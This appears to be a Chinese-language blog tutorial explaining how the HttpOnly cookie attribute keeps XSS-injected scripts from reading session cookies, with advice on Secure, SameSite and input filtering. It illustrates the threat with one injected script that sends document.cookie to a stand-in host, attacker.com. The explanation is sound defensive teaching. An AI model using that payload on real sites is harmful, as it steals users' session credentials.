HttpOnly 是怎么防止 XSS 攻击的?

1. 什么是 XSS(跨站脚本攻击)

XSS(Cross-Site Scripting) 是一种常见的前端安全漏洞。攻击者通过在网页中注入恶意 JavaScript 代码,借此窃取用户敏感信息或劫持用户会话。常被窃取的目标包括:

  • 登录用的 token / session ID
  • 用户的 Cookie
  • 页面上的隐私数据(表单内容、个人信息等)

示例(攻击者注入的脚本):

html 复制代码
<script>
  // 将当前页面的 cookie 发到攻击者服务器
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

这个脚本直接读取 document.cookie 并把值发送出去,因此如果会话凭证存储在普通 cookie 或可被 JS 访问的存储中(如 localStorage),就会被窃取。


2. 设置 HttpOnly 后的防护效果

如果将敏感的 token(比如 refresh_token)以 cookie 形式存储,并在服务端设置 HttpOnly 属性,例如:

复制代码
Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict

则表示:

  • 浏览器禁止 JavaScript 访问该 cookie (即不会将其暴露给 document.cookie)。
  • 因此,即使页面被 XSS 脚本注入,攻击者也无法通过脚本读取该 cookie 的值,从而有效防止凭证被直接窃取。

需要注意的是:

  • HttpOnly 阻止的是JavaScript 读取 Cookie 的能力,但浏览器在发起请求时仍会自动带上该 Cookie(正常的后端鉴权仍然有效)。
  • 为了更全面防护,建议同时使用 Secure(仅 HTTPS 传输)和 SameSite(防 CSRF)等属性,并结合输入校验、输出转义等手段防止 XSS 植入。

小结

  • 未设置 HttpOnly 的 Cookie :可被 document.cookie 读取,易被 XSS 窃取。
  • 设置 HttpOnly 的 Cookie:不可被 JavaScript 读取,能有效阻断 XSS 对凭证的直接窃取。
  • 但 HttpOnly 不是万能:仍需配合 HTTPS、SameSite、CSRF Token、严格的输入输出过滤等安全措施,构建多层防护体系。

相关推荐
yuanlaile6 分钟前
前端转 Flutter 自学完整规划,避开跨栈思维转换误区
前端·flutter·flutter跨平台开发
CN_HW8 分钟前
Nginx 流量镜像配置文档-双轨国产化
服务器·前端·网络
JNX_SEMI23 分钟前
ATR2652 GNSS双频LNA:0.75dB噪声系数与22dB高增益设计
前端·单片机·嵌入式硬件·物联网·硬件工程
拾年27538 分钟前
Node.js 异步进化论:从 path 路径拼接到 fs 文件读取,我终于理解了回调地狱的救赎之路
前端·node.js
花颜yyds1 小时前
React Konva 开发基础速查手册
前端
小粉粉hhh1 小时前
Node.js(五)——编写接口
前端·javascript·node.js
MegatronKing1 小时前
AI时代我们要如何玩抓包测试
前端·后端·测试
uhakadotcom1 小时前
Scrapy-Redis 里面提供哪些即开即用的功能能力模块
前端·面试·github
进击切图仔2 小时前
SAM3 微调标注流水线和 Label Studio
java·服务器·前端
自然 醒2 小时前
前端如何实现在线预览office常见文件功能?
前端·vue.js